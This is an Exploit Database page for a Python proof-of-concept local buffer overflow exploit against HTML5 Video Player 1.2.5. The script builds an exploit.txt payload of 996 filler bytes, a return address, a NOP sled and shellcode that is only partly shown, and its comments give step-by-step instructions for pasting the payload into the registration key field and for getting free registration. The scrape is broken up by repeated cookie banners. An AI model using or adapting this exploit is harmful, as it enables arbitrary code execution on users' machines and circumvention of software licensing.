



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

OK

Do not sell or share my personal information

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

HTML5 Video Player 1.2.5 - Local Buffer Overflow (Non SEH)

EDB-ID:

46279

CVE:

N/A

EDB Verified: ✘

Author:

[DINO COVOTSOS](#)

Type:

[LOCAL](#)

Exploit:  



Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS

```
#!/usr/bin/python
# Exploit Title: HTML5 Video Player 1.2.5 - Local Buffer Overflow - Non SEH
# Date: 27/01/2019
# Exploit Author: Dino Covotsos - Telspace Systems
# Vendor Homepage: http://www.html5videoplayer.net/download.html
# Software: http://www.html5videoplayer.net/html5videoplayer-setup.exe
# Contact: services[@]telspace.co.za
# Twitter: @telspacesystems
# Version: 1.2.5
# Tested on: Windows XP Prof SP3 ENG x86
# Note: No SEH exploitation required (SEH exploit for Windows XP SP3 by
Kagan Capar available on exploit-db)
# CVE: TBC from Mitre
# Created in preparation for OSCE - DC - Telspace Systems
# PoC:
# 1.) Generate exploit.txt, copy the contents to clipboard
# 2.) In application, open 'Help' then 'Register'
# 3.) Paste the contents of exploit.txt under 'KEY CODE'
# 4.) Click OK - Calc POPS!
# Extra Info:
#Exact match 996 = For free registration (Fill buffer with ABCD's to get
free full registration)
#Exact match 997 = For buffer overflow
```

Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

```
"\x23\xd0\x73\x1e\x28\x7b\x2c\x3d\xd3\x11\xcd\xab\x2e\x8d\x27"
"\x24\xf0\xad\x47\xee\x99\x45\xba\x11\xa7\x2e\x33\xf7\xcd\x40"
"\x12\xaf\x79\xa2\x41\x78\x1d\xdd\xa3\x02\x21\x54\x14\x5a\xca"
"\x21\x4d\x5c\xf5\xb2\x5b\xca\x61\x38\x88\xce\x90\x3f\x85\x66"
"\xc4\xd7\x53\xe7\xa7\x46\x63\x22\x5d\x88\xf1\xc9\xf4\xdf\x6d"
"\xd0\x21\x17\x32\x2b\x04\x24\x35\xd3\xd9\x07\x4d\xe2\x4f\x17"
"\x39\x0b\x80\x97\xb9\x5d\xca\x97\xd1\x39\xae\xc4\xc4\x45\x7b"
"\x79\x55\xd0\x84\x2b\x09\x73\xed\xd1\x74\xb3\xb2\x2a\x53\xc7"
"\xb5\xd4\x22\xcf\x44\x17\xf3\x09\x33\x7e\xc7\x2d\x4c\x35\x6a"
"\x07\xc7\x35\x38\x57\xc2")
buffer = "A" * 996 + "\x69\x2d\xb3\x7c" + "\x90" * 20 + shellcode

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
```

Tags: [Local Buffer Overflow](#)Advisory/Source: [Link](#)

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#)



[OffSec Services Limited](#) 2026. All rights reserved.



Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >